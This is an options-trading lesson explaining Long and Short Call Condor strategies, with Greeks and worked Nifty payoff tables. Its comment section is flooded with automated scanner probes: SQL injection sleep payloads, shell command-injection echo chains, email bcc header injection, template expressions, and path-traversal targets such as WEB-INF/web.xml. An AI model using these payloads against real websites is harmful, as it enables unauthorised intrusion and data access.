Long Call Condor and Short Call Condor

LONG CALL CONDOR

Strategy Details
Strategy Type	Neutral on direction, but bearish on volatility
# of legs	4 (Long 1 Lower Strike Call + Short 1 Lower Middle Strike Call + Short 1 Higher Middle Strike Call + Long 1 Higher Strike Call)
Maximum Reward	Lower Middle Strike Price - Lower Strike Price - Net Premium Paid
Maximum Risk	Limited to the extent of Net Premium Paid
Lower Breakeven Price	Lower Strike Price + Net Premium Paid
Upper Breakeven Price	Higher Strike Price - Net Premium Paid
Payoff Calculation	Payoff of lower strike Long Call+ Payoff of lower middle strike Short Call + Payoff of higher middle strike Short Call + Payoff of higher strike Long Call

A Long Call Condor is a strategy wherein the trader would buy 1 lower strike Call, sell 1 lower middle strike Call, sell 1 higher middle strike Call, and buy 1 higher strike Call. Each of the four Calls that are transacted must belong to the same underlying and must have the same expiration date. Usually, the lower strike Call that is bought and the lower middle strike Call that is sold are ITM options, whereas the higher middle strike Call that is sold and the higher strike Call that is bought are OTM options. At the time of strategy initiation, the underlying price is usually somewhere in between the two middle strikes. Usually, all the four options are equidistant from each other. However, this is not a hard and fast rule. In fact, it is not uncommon to see the distance between the lower and the lower middle strike being equal to that between the higher middle and the higher strike, while the distance between the lower middle and the higher middle strike being larger to account for a wider maximum profit zone.

A Long Call Condor is quite similar to a Long Call Butterfly. However, there is an important difference. Recollect that in a Long Call Butterfly, the two middle options that are sold have the same strike price and both these options are usually ATM at the time of initiation. On the other hand, in a Long Call Condor, the two middle options that are sold have different strike prices, usually one being ITM and the other being OTM. Because of this, a Long Call Condor will have a wider maximum profit range, unlike a Long Call Butterfly in which the maximum profit range is restricted to just one point. As a result, an advantage of a Long Call Condor over a Long Call Butterfly is that the former will have a greater probability of earning maximum profit than the latter. That said, this comes at a price. The maximum potential profit for a Long Call Condor is quite smaller than that for a Long Call Butterfly, all else equal. So, there will be a trade-off between a Long Call Condor and a Long Call Butterfly - the former has a wider maximum profit range while the latter has a higher profit in absolute terms.

A Long Call Condor is a range bound strategy, wherein the trader would want the underlying price to consolidate within the confines of the two middle strikes. It naturally follows that once initiated, the trader would want the volatility to decrease, as this would increase the odds of the underlying staying within the two middle strikes. Hence, it can be said that a Long Call Condor is a range bound strategy with a bearish outlook on volatility. Also, as this is a range bound strategy that is already in a profitable position when executed, time decay is beneficial.That said, sometimes this strategy can take a slight directional bias depending on whether the underlying price at initiation is below the two middles strikes (bullish bias) or above the two middle strikes (bearish bias). Meanwhile, just like a Long Call Butterfly, a Long Call Condor is a net debit strategy.

This strategy has two breakeven points. As long as the underlying price is between the two breakeven points, the strategy is profitable. As said earlier, maximum profit under this strategy is limited and occurs when the underlying price is between the two middle strikes. On the other hand, the position becomes unprofitable when the underlying price either falls below the lower breakeven point or rises above the upper breakeven point. Maximum loss under this strategy is limited to the extent of net premium paid and occurs when the underlying price is either below the lower strike or above the higher strike.

Benefits of the Strategy

Compared to a Butterfly, this strategy has a wider maximum profit zone
Maximum loss is limited no matter how higher or lower the price of the underlying goes
The risk reward ratio under this strategy can be extremely attractive
Time decay benefits the position as long as it is profitable
This strategy has a greater probability of success than a Long Call Butterfly

Drawbacks of the Strategy

The wider the maximum profit zone, the higher will be the cost and the potential loss
When in a profitable position, an unexpected surge in volatility could be detrimental to the success of the trade
Because this strategy involves selling two options, it will require a greater margin in your trading account at the time of initiation
A potential to lose the entire net debit amount, in case the underlying falls below the lower strike or rises above the higher strike by expiration

Strategy Suggestions

See that your view on the underlying is range bound
See that your view on volatility is bearish i.e. you expect volatility to decline going forward
Ensure that the strikes are evenly placed. In other words, see that the distance between the lower and the lower middle strike is equal to that between the higher middle and the higher strike
However, sometimes, traders keep the distance between the lower middle and the higher middle strikes slightly wider than the other two to account for a larger maximum profit zone
The spread between the middle two strikes will be a trade-off between the maximum profit zone and the cost/potential loss of the strategy
The wider the spread between the middle strikes, the wider will be the maximum profit zone and the potential profit but so would be the cost as well as the potential loss, and vice versa
Because this is a range bound strategy that benefits from declining volatility, ensure that you do not give yourself too much time to go wrong
Ensure there is sufficient liquidity in the underlying that is being chosen to initiate this strategy

Option Greeks for Long Call Condor

Greek	Notes
Delta	Delta is at or near zero at initiation. It tends to peak out above zero when the underlying price is below the lower strike and bottom out below zero when the underlying price is above the higher strike. That said, while Delta does become non-zero as the underlying price moves, it does not deviate much from zero. As such, changes in the price of the underlying do not have much impact on this strategy because of the way it is structured.
Gamma	Gamma is negative and is at its lowest point in between the two middle strikes. As the underlying price starts moving away from the midpoint of the two middle strikes and approaches either the lower or the higher strike, Gamma tends to move into positive before peaking out around these extreme strikes.
Vega	Vega is negative and is at its lowest point between the two middle strikes, meaning the negative impact of a rise in volatility is the highest around the middle strikes. Volatility hurts as long as the position in profitable. That said, Vega turns positive when the position becomes unprofitable, meaning a rise in volatility now starts helping the position.
Theta	Theta is positive and is at its highest point between the two middle strikes, meaning time decay is most helpful around the middle strikes. Time decay benefits the position as long as it is profitable. That said, Theta turns negative when the position becomes unprofitable, meaning time decay now starts hurting the position.

Payoff of Long Call Condor

The above is the payoff chart of a Long Call Condor. Notice that the maximum potential profit under this strategy occurs when the underlying price is within the range of the two middle strike price. On the other hand, notice that the maximum possible loss occurs when the underlying price either falls below the lower strike price or rises above the higher strike price. Both profits and losses under this strategy are limited. Meanwhile, this strategy is in a profitable positions as long as the underlying price is within the confines of the two breakeven points and is unprofitable when the underlying price goes outside either of the two breakeven points.

Example of Long Call Condor

Let us say that Mr. ABC has decided to execute a Long Call Condor strategy on Nifty. The details of the strategy are as below:

Strike price of ITM long Call = 8900
Strike price of ITM short Call = 9100
Strike price of OTM shortCall = 9300
Strike price of OTM long Call = 9500
LongCall premium (lower strike) = ₹375
Short Call premium (lower middle strike) = ₹255
Short Call premium (higher middle strike) = ₹165
LongCall premium (higher strike) = ₹100
Net Debit = ₹55 (375 + 100 - 255 - 165)
Net Debit (in value terms) = ₹4,125 (55 * 75)
Lower Breakeven point = 8955 (8900 + 55)
Upper Breakeven point = 9445 (9500 - 55)
Maximum reward = ₹10,875 ((9100 - 8900 - 55) * 75)
Maximum risk = ₹4,125

Now, let us assume a few scenarios in terms of where Nifty would be on the expiration date and the impact this would have on the profitability of the trade.

Underlying price at Expiration	Net Profit/Loss	Notes
7000	Loss of ₹4,125	Payoff = [Maximum of (7000-8900,0)-375]+[255-Maximum of (7000-9100,0)] + [165-Maximum of (7000-9300,0)] + [Maximum of (7000-9500,0)-100]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8000	Loss of ₹4,125	Payoff = [Maximum of (8000-8900,0)-375]+[255-Maximum of (8000-9100,0)] + [165-Maximum of (8000-9300,0)] + [Maximum of (8000-9500,0)-100]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8900	Loss of ₹4,125	Payoff = [Maximum of (8900-8900,0)-375]+[255-Maximum of (8900-9100,0)] + [165-Maximum of (8900-9300,0)] + [Maximum of (8900-9500,0)-100]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8930	Loss of ₹1,875	Payoff = [Maximum of (8930-8900,0)-375]+[255-Maximum of (8930-9100,0)] + [165-Maximum of (8930-9300,0)] + [Maximum of (8930-9500,0)-100]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8955	No profit, No loss	Payoff = [Maximum of (8955-8900,0)-375]+[255-Maximum of (8955-9100,0)] + [165-Maximum of (8955-9300,0)] + [Maximum of (8955-9500,0)-100]. As the underlying price at expiration is equal to the lower breakeven point, the trader will neither make a profit nor incur a loss
9000	Profit of ₹3,375	Payoff = [Maximum of (9000-8900,0)-375]+[255-Maximum of (9000-9100,0)] + [165-Maximum of (9000-9300,0)] + [Maximum of (9000-9500,0)-100]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9100	Profit of ₹10,875	Payoff = [Maximum of (9100-8900,0)-375]+[255-Maximum of (9100-9100,0)] + [165-Maximum of (9100-9300,0)] + [Maximum of (9100-9500,0)-100]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9200	Profit of ₹10,875	Payoff = [Maximum of (9200-8900,0)-375]+[255-Maximum of (9200-9100,0)] + [165-Maximum of (9200-9300,0)] + [Maximum of (9200-9500,0)-100]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9300	Profit of ₹10,875	Payoff = [Maximum of (9300-8900,0)-375]+[255-Maximum of (9300-9100,0)] + [165-Maximum of (9300-9300,0)] + [Maximum of (9300-9500,0)-100]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9400	Profit of ₹3,375	Payoff = [Maximum of (9400-8900,0)-375]+[255-Maximum of (9400-9100,0)] + [165-Maximum of (9400-9300,0)] + [Maximum of (9400-9500,0)-100]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9445	No profit, No loss	Payoff = [Maximum of (9445-8900,0)-375]+[255-Maximum of (9445-9100,0)] + [165-Maximum of (9445-9300,0)] + [Maximum of (9445-9500,0)-100]. As the underlying price at expiration is equal to the upper breakeven point, the trader will neither make a profit nor incur a loss
9470	Loss of ₹1,875	Payoff = [Maximum of (9470-8900,0)-375]+[255-Maximum of (9470-9100,0)] + [165-Maximum of (9470-9300,0)] + [Maximum of (9470-9500,0)-100]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
9500	Loss of ₹4,125	Payoff = [Maximum of (9500-8900,0)-375]+[255-Maximum of (9500-9100,0)] + [165-Maximum of (9500-9300,0)] + [Maximum of (9500-9500,0)-100]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
10000	Loss of ₹4,125	Payoff = [Maximum of (10000-8900,0)-375]+[255-Maximum of (10000-9100,0)] + [165-Maximum of (10000-9300,0)] + [Maximum of (10000-9500,0)-100]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
12000	Loss of ₹4,125	Payoff = [Maximum of (12000-8900,0)-375]+[255-Maximum of (12000-9100,0)] + [165-Maximum of (12000-9300,0)] + [Maximum of (12000-9500,0)-100]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss

In the above table, notice that the maximum profit under this strategy is ₹10,875 and occurs when Nifty is trading between 9100 and 9300. On the other hand, observe that the maximum loss under this strategy is ₹4,125, which is the net debit, and occurs when Nifty is either below 8900 or above 9500. With a maximum possible loss of ₹4,125 and a maximum profit potential of ₹10,875, notice that this strategy has quite a favourable riskreward ratio (the maximum reward is 2.64 times the maximum risk).

SHORT CALL CONDOR

Strategy Details
Strategy Type	Neutral on direction, but bullish on volatility
# of legs	4 (Short 1 Lower Strike Call + Long 1 Lower Middle Strike Call + Long 1 Higher Middle Strike Call + Short 1 Higher Strike Call)
Maximum Reward	Limited to the extent of Net Premium Received
Maximum Risk	Lower Middle Strike Price - Lower Strike Price - Net Premium Received
Lower Breakeven Price	Lower Strike Price + Net Premium Received
Upper Breakeven Price	Higher Strike Price - Net Premium Received
Payoff Calculation	Payoff of lower strike Short Call+ Payoff of lower middle strike Long Call + Payoff of higher middle strike Long Call + Payoff of higher strike Short Call

Explanation of the Strategy

A Short Call Condor is a strategy wherein the trader would sell 1 lower strike Call, buy 1 lower middle strike Call, buy 1 higher middle strike Call, and sell 1 higher strike Call. Each of these options must belong to the same underlying and must have the same expiration date. Usually, but not always, all the four options are equidistant from each other.

Unlike a Long Call Condor, which is a net debit strategy, a Short Call Condor is a net credit strategy. Also, this strategy achieves its maximum profit potential when the underlying price either falls below the lower strike price or rises above the higher strike price. As a result, volatility is of utmost importance to the success of this strategy. The direction in which the underlying price moves is not important. What is however important is that the underlying price swings in either direction (up or down). Hence, it can be said that this strategy is neutral on direction, but bullish on volatility.

Unlike a Short Call Butterfly, in which maximum loss occurs at one point only (the middle strike), a Short Call Condor has a wider maximum loss zone (because the two middle strikes are different). If the underlying price gets stuck between the two middle strikes, the trader will suffer maximum loss under this strategy. Hence, when executing this strategy, the trader must have conviction that the underlying asset will trend up or down and that volatility will increase going forward. Meanwhile, this strategy has two breakeven points, lower and upper. The strategy is unprofitable when the underlying price is within the range of the two breakeven points and is profitable when the underlying price moves outside one of the two breakeven points.

Just like a Short Call Butterfly, a Short Call Condor also has an unattractive risk reward profile as the risk tends to be greater than the potential reward. As a result, this strategy must preferably be executed by experienced option traders only.

Benefits of the Strategy

This is a net credit strategy, meaning there is no cash outflow at the time of initiation
This strategy works well during times when volatility is expected to rise
Maximum loss under this strategy is limited and is known beforehand

Drawbacks of the Strategy

Compared to a Butterfly, this strategy has a wider maximum loss zone
The risk reward ratio under this strategy is quite unattractive
Time decay hurts the position as long as it is unprofitable
An unexpected contraction in volatility could be detrimental to the success of the trade
Because this strategy involves selling two options, it will require a greater margin in your trading account at the time of initiation

Strategy Suggestions

See that your view on the underlying is direction neutral
See that you view on volatility is bullish i.e. you expect volatility to increase sharply going forward
Ensure that the strikes are evenly placed. In other words, see that the distance between the lower and the lower middle strike is equal to that between the higher middle and the higher strike
However, sometimes, traders keep the distance between the lower middle and the higher middle strikes slightly narrow than the other two to account for a smaller maximum loss zone
The spread between the two middle strikes will be a trade-off between the maximum loss-making zone and the potential reward of the strategy
The wider the spread between the middle strikes, the higher will be the maximum loss-making zone and the maximum possible loss, but so would the maximum possible profit, and vice versa
Because this is a direction neutral strategy that benefits from rising volatility, ensure that you give yourself sufficient time to go right
Ensure there is sufficient liquidity in the underlying that is being chosen to initiate this strategy

Option Greeks for Short Call Condor

Greek	Notes
Delta	Delta is at or near zero at initiation. It tends to bottom out below zero when the underlying price is below the lower strike and peak out above zero when the underlying price is above the higher strike. That said, while Delta does become non-zero as the underlying price moves, it does not deviate much from zero. As such, changes in the price of the underlying do not have much impact on this strategy because of the way it is structured.
Gamma	Gamma is positive and is at its highest point in between the two middle strikes. As the underlying price moves away from the midpoint of the two middle strike and approaches either the lower or the higher strike, Gamma tends to move into negative before bottoming out around these extreme strikes.
Vega	Vega is positive and is at its highest point between the two middle strikes, meaning the positive impact of a rise in volatility is the greatestaround the middle strikes. Volatility benefits as long as the position in unprofitable. That said, Vega turns negative when the position becomes profitable, meaning a rise in volatility now starts hurting the position.
Theta	Theta is negative and is at its lowest point between the two middle strikes, meaning time decay hurts the most around the middle strikes. Time decay hurts the position as long as it is unprofitable. That said, Theta turns positive when the position becomes profitable, meaning time decay now starts benefiting the position.

Payoff of Short Call Condor

The above is the payoff chart of a Short Call Condor strategy. Observe that maximum profit under this strategy occurs when the underlying price either falls below the lower strike or rises above the higher strike. On the other hand, see that maximum loss occurs when the underlying price is within the two middle strikes. As the underlying price at initiation is somewhere within the range of the two middle strikes, the trader would want volatility to pick up going forward, so that the probability of the strategy to achieve its maximum profit potential increases.

Example of Short Call Condor

Let us say that Mr. ABC has decided to execute a Short Call Condor strategy on Nifty. The details of the strategy are as below:

Strike price of ITM short Call = 8600
Strike price of ITM long Call = 8800
Strike price of OTM longCall = 9000
Strike price of OTM short Call = 9200
ShortCall premium (lower strike) = ₹380
Long Call premium (lower middle strike) = ₹245
Long Call premium (higher middle strike) = ₹145
ShortCall premium (higher strike) = ₹70
Net Credit = ₹60 (380 + 70 - 245 - 145)
Net Credit (in value terms) = ₹4,500 (60 * 75)
Lower Breakeven point = 8660 (8600 + 60)
Upper Breakeven point = 9140 (9200 - 60)
Maximum reward = ₹4,500
Maximum risk = ₹10,500 ((8800 - 8600 - 60) * 75)

Now, let us assume a few scenarios in terms of where Nifty would be on the expiration date and the impact this would have on the profitability of the trade.

Underlying price at Expiration	Net Profit/Loss	Notes
7000	Profit of ₹4,500	Payoff = [380-Maximum of (7000-8600,0)]+[Maximum of (7000-8800,0)-245] + [Maximum of (7000-9000,0)-145] + [70-Maximum of (7000-9200,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8000	Profit of ₹4,500	Payoff = [380-Maximum of (8000-8600,0)]+[Maximum of (8000-8800,0)-245] + [Maximum of (8000-9000,0)-145] + [70-Maximum of (8000-9200,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8600	Profit of ₹4,500	Payoff = [380-Maximum of (8600-8600,0)]+[Maximum of (8600-8800,0)-245] + [Maximum of (8600-9000,0)-145] + [70-Maximum of (8600-9200,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8630	Profit of ₹2,250	Payoff = [380-Maximum of (8630-8600,0)]+[Maximum of (8630-8800,0)-245] + [Maximum of (8630-9000,0)-145] + [70-Maximum of (8630-9200,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8660	No profit, No loss	Payoff = [380-Maximum of (8660-8600,0)]+[Maximum of (8660-8800,0)-245] + [Maximum of (8660-9000,0)-145] + [70-Maximum of (8660-9200,0)]. As the underlying price at expiration is equal to the lower breakeven point, the trader will neither make a profit nor incur a loss
8700	Loss of ₹3,000	Payoff = [380-Maximum of (8700-8600,0)]+[Maximum of (8700-8800,0)-245] + [Maximum of (8700-9000,0)-145] + [70-Maximum of (8700-9200,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
8800	Loss of ₹10,500	Payoff = [380-Maximum of (8800-8600,0)]+[Maximum of (8800-8800,0)-245] + [Maximum of (8800-9000,0)-145] + [70-Maximum of (8800-9200,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
8900	Loss of ₹10,500	Payoff = [380-Maximum of (8900-8600,0)]+[Maximum of (8900-8800,0)-245] + [Maximum of (8900-9000,0)-145] + [70-Maximum of (8900-9200,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9000	Loss of ₹10,500	Payoff = [380-Maximum of (9000-8600,0)]+[Maximum of (9000-8800,0)-245] + [Maximum of (9000-9000,0)-145] + [70-Maximum of (9000-9200,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9100	Loss of ₹3,000	Payoff = [380-Maximum of (9100-8600,0)]+[Maximum of (9100-8800,0)-245] + [Maximum of (9100-9000,0)-145] + [70-Maximum of (9100-9200,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9140	No profit, No loss	Payoff = [380-Maximum of (9140-8600,0)]+[Maximum of (9140-8800,0)-245] + [Maximum of (9140-9000,0)-145] + [70-Maximum of (9140-9200,0)]. As the underlying price at expiration is equal to the upper breakeven point, the trader will neither make a profit nor incur a loss
9170	Profit of ₹2,250	Payoff = [380-Maximum of (9170-8600,0)]+[Maximum of (9170-8800,0)-245] + [Maximum of (9170-9000,0)-145] + [70-Maximum of (9170-9200,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
9200	Profit of ₹4,500	Payoff = [380-Maximum of (9200-8600,0)]+[Maximum of (9200-8800,0)-245] + [Maximum of (9200-9000,0)-145] + [70-Maximum of (9200-9200,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
10000	Profit of ₹4,500	Payoff = [380-Maximum of (10000-8600,0)]+[Maximum of (10000-8800,0)-245] + [Maximum of (10000-9000,0)-145] + [70-Maximum of (10000-9200,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
12000	Profit of ₹4,500	Payoff = [380-Maximum of (12000-8600,0)]+[Maximum of (12000-8800,0)-245] + [Maximum of (12000-9000,0)-145] + [70-Maximum of (12000-9200,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit

In the above table,see that maximum profit under this strategy occurs at extremes, i.e. when Nifty moves either below the lower strike of 8600 or above the higher strike of 9200. On the other hand, maximum loss under this strategy occurs when Nifty gets stuck between the two middle strikes of 8800 and 9000. Hence, the trader who initiates this strategy would want Nifty to move outside one of these middle strikes, irrespective of direction. Meanwhile, for this strategy, the two breakeven points are at 8660 and 9140. The position is loss-making as long as Nifty is trading between these two points and is profitable when Nifty is trading outside one of the two points. Also see that with a maximum possible reward of ₹4,500 and a maximum possible loss of ₹10,500, the risk reward ratio for this strategy is quite unattractive, as maximum risk is 2.3 times the maximum reward.

Next Chapter

Long Put Condor and Short Put Condor

15 Lessons

In this chapter, we shall discuss two option strategies: Long Put Condor and Short Put Condor. We shall talk about the various aspects of these two strategies including payoffs, Greeks, and illustrations with examples.

Long Iron Condor and Short Iron Condor

18 Lessons

In this chapter, we shall discuss two option strategies: Long Iron Condor and Short Iron Condor. We shall talk about the various aspects of these two strategies including payoffs, Greeks, and illustrations with examples.

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wrBEIRqX commented on November 9th, 2023 at 8:46 PM
-1' OR 2+531-531-1=0+0+0+1 or 'fakTjhvv'='

wrBEIRqX commented on November 9th, 2023 at 8:46 PM
-1" OR 2+720-720-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 8:46 PM
if(now()=sysdate(),sleep(15),0)

wrBEIRqX commented on November 9th, 2023 at 8:47 PM
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

wrBEIRqX commented on November 9th, 2023 at 8:47 PM
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

wrBEIRqX commented on November 9th, 2023 at 8:48 PM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

wrBEIRqX commented on November 9th, 2023 at 8:49 PM
-1; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:49 PM
-1); waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:50 PM
1 waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:50 PM
RUtm6PQT'; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:51 PM
-5 OR 431=(SELECT 431 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:51 PM
-5) OR 850=(SELECT 850 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:52 PM
-1)) OR 939=(SELECT 939 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:52 PM
NEd0qALU' OR 895=(SELECT 895 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:53 PM
wE1NEpjD') OR 355=(SELECT 355 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:54 PM
AdWhoHcp')) OR 890=(SELECT 890 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:54 PM
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

wrBEIRqX commented on November 9th, 2023 at 8:55 PM
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

wrBEIRqX commented on November 9th, 2023 at 8:55 PM
1'"

wrBEIRqX commented on November 9th, 2023 at 8:55 PM
@@txQqF

wrBEIRqX commented on November 9th, 2023 at 8:55 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:56 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:57 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:58 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:59 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:00 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:01 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:02 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:03 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:04 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:05 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:06 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:07 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:08 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:09 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:10 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:18 PM
555

wrBEIRqX commented on November 9th, 2023 at 9:31 PM
555

wrBEIRqX commented on November 9th, 2023 at 10:08 PM
555

wrBEIRqX commented on November 9th, 2023 at 10:10 PM
555

zbdrariI commented on November 13th, 2023 at 2:08 AM
555

zbdrariI commented on November 13th, 2023 at 2:09 AM
555

1'" commented on November 13th, 2023 at 2:11 AM
555

@@TA4xr commented on November 13th, 2023 at 2:11 AM
555

zbdrariI commented on November 13th, 2023 at 2:11 AM
555

zbdrariI commented on November 13th, 2023 at 2:13 AM
1'"

zbdrariI commented on November 13th, 2023 at 2:13 AM
@@VJ4Z2

zbdrariI commented on November 13th, 2023 at 2:13 AM
555

zbdrariI commented on November 13th, 2023 at 2:14 AM
555

zbdrariI commented on November 13th, 2023 at 2:15 AM
555

zbdrariI commented on November 13th, 2023 at 2:16 AM
555

zbdrariI commented on November 13th, 2023 at 2:18 AM
555

zbdrariI commented on November 13th, 2023 at 2:20 AM
555

zbdrariI commented on November 13th, 2023 at 2:48 AM
555

zbdrariI commented on November 13th, 2023 at 2:49 AM
555

JMgfoull commented on November 21st, 2023 at 11:46 PM
555

JMgfoull commented on November 21st, 2023 at 11:47 PM
555

JMgfoull commented on November 21st, 2023 at 11:48 PM
555

JMgfoull commented on November 21st, 2023 at 11:49 PM
555

JMgfoull commented on November 21st, 2023 at 11:50 PM
555

1'" commented on November 21st, 2023 at 11:51 PM
555

@@rPZgo commented on November 21st, 2023 at 11:51 PM
555

JMgfoull commented on November 21st, 2023 at 11:52 PM
555

JMgfoull commented on November 21st, 2023 at 11:53 PM
1'"

JMgfoull commented on November 21st, 2023 at 11:54 PM
@@vAGUR

JMgfoull commented on November 21st, 2023 at 11:54 PM
555

JMgfoull commented on November 21st, 2023 at 11:55 PM
555

JMgfoull commented on November 21st, 2023 at 11:56 PM
555

JMgfoull commented on November 21st, 2023 at 11:57 PM
555

JMgfoull commented on November 21st, 2023 at 11:58 PM
555

zbdrariI commented on December 2nd, 2023 at 10:34 AM
555

zbdrariI commented on December 2nd, 2023 at 10:35 AM
555

zbdrariI commented on December 2nd, 2023 at 10:36 AM
555

zbdrariI commented on December 2nd, 2023 at 10:41 AM
555

1'" commented on December 2nd, 2023 at 10:45 AM
555

@@fgERa commented on December 2nd, 2023 at 10:45 AM
555

zbdrariI commented on December 2nd, 2023 at 10:45 AM
555

zbdrariI commented on December 2nd, 2023 at 10:50 AM
1'"

zbdrariI commented on December 2nd, 2023 at 10:51 AM
@@qFeh5

zbdrariI commented on December 2nd, 2023 at 10:51 AM
555

zbdrariI commented on December 2nd, 2023 at 10:52 AM
555

zbdrariI commented on December 2nd, 2023 at 10:55 AM
555

zbdrariI commented on December 2nd, 2023 at 10:56 AM
555

zbdrariI commented on December 2nd, 2023 at 10:57 AM
555

zbdrariI commented on December 2nd, 2023 at 11:00 AM
555

zbdrariI commented on December 2nd, 2023 at 11:01 AM
555

zbdrariI commented on December 2nd, 2023 at 11:05 AM
555

zbdrariI commented on December 2nd, 2023 at 11:06 AM
555

zbdrariI commented on December 2nd, 2023 at 11:11 AM
555

zbdrariI commented on December 2nd, 2023 at 11:51 AM
555

zbdrariI commented on December 2nd, 2023 at 11:52 AM
555

zbdrariI commented on December 2nd, 2023 at 11:55 AM
555

fKxorhrg commented on December 12th, 2023 at 6:37 AM
555

fKxorhrg commented on December 12th, 2023 at 6:45 AM
555

1BlNXm6cTxO commented on December 12th, 2023 at 6:46 AM
555

fKxorhrg commented on December 12th, 2023 at 6:47 AM
1CGIPA4VkQO

fKxorhrg commented on December 12th, 2023 at 6:47 AM
555

fKxorhrg bcc:[email protected] commented on December 12th, 2023 at 6:48 AM
555

fKxorhrg commented on December 12th, 2023 at 6:48 AM
555

[email protected]> bcc:[email protected] commented on December 12th, 2023 at 6:48 AM
555

fKxorhrg commented on December 12th, 2023 at 6:48 AM
555
bcc:[email protected]

fKxorhrg commented on December 12th, 2023 at 6:48 AM
555

fKxorhrg commented on December 12th, 2023 at 6:48 AM
[email protected]>
bcc:[email protected]

1'" commented on December 12th, 2023 at 6:48 AM
555

fKxorhrg commented on December 12th, 2023 at 6:48 AM
555

../fKxorhrg commented on December 12th, 2023 at 6:48 AM
555

fKxorhrg commented on December 12th, 2023 at 6:48 AM
555

fKxorhrg commented on December 12th, 2023 at 6:49 AM
555

${9999222+9999173} commented on December 12th, 2023 at 6:49 AM
555

fKxorhrg commented on December 12th, 2023 at 6:49 AM
555

fKxorhrg commented on December 12th, 2023 at 6:49 AM
${9999578+10000122}

TldudzdNZXk= commented on December 12th, 2023 at 6:49 AM
555

fKxorhrg commented on December 12th, 2023 at 6:50 AM
555

@@NMmkw commented on December 12th, 2023 at 6:50 AM
555

fKxorhrg commented on December 12th, 2023 at 6:50 AM
555

echo qqqdhy$()\ tegitp\nz^xyu||a #' &echo qqqdhy$()\ tegitp\nz^xyu||a #|" &echo qqqdhy$()\ tegitp\nz^xyu||a # commented on December 12th, 2023 at 6:50 AM
555

&echo ywucxp$()\ fvmssb\nz^xyu||a #' &echo ywucxp$()\ fvmssb\nz^xyu||a #|" &echo ywucxp$()\ fvmssb\nz^xyu||a # commented on December 12th, 2023 at 6:50 AM
555

fKxorhrg commented on December 12th, 2023 at 6:50 AM
1'"

fKxorhrg commented on December 12th, 2023 at 6:50 AM
555

fKxorhrg&echo abvvxz$()\ nzfsuu\nz^xyu||a #' &echo abvvxz$()\ nzfsuu\nz^xyu||a #|" &echo abvvxz$()\ nzfsuu\nz^xyu||a # commented on December 12th, 2023 at 6:50 AM
555

fKxorhrg commented on December 12th, 2023 at 6:50 AM
555

fKxorhrg commented on December 12th, 2023 at 6:50 AM
/WEB-INF/web.xml

fKxorhrg commented on December 12th, 2023 at 6:50 AM
C:\WINDOWS\system32\drivers\etc\hosts

|echo oqhjdo$()\ bbqsvv\nz^xyu||a #' |echo oqhjdo$()\ bbqsvv\nz^xyu||a #|" |echo oqhjdo$()\ bbqsvv\nz^xyu||a # commented on December 12th, 2023 at 6:50 AM
555

fKxorhrg commented on December 12th, 2023 at 6:50 AM
@@hormk

fKxorhrg commented on December 12th, 2023 at 6:50 AM
WEB-INF/web.xml

fKxorhrg commented on December 12th, 2023 at 6:51 AM
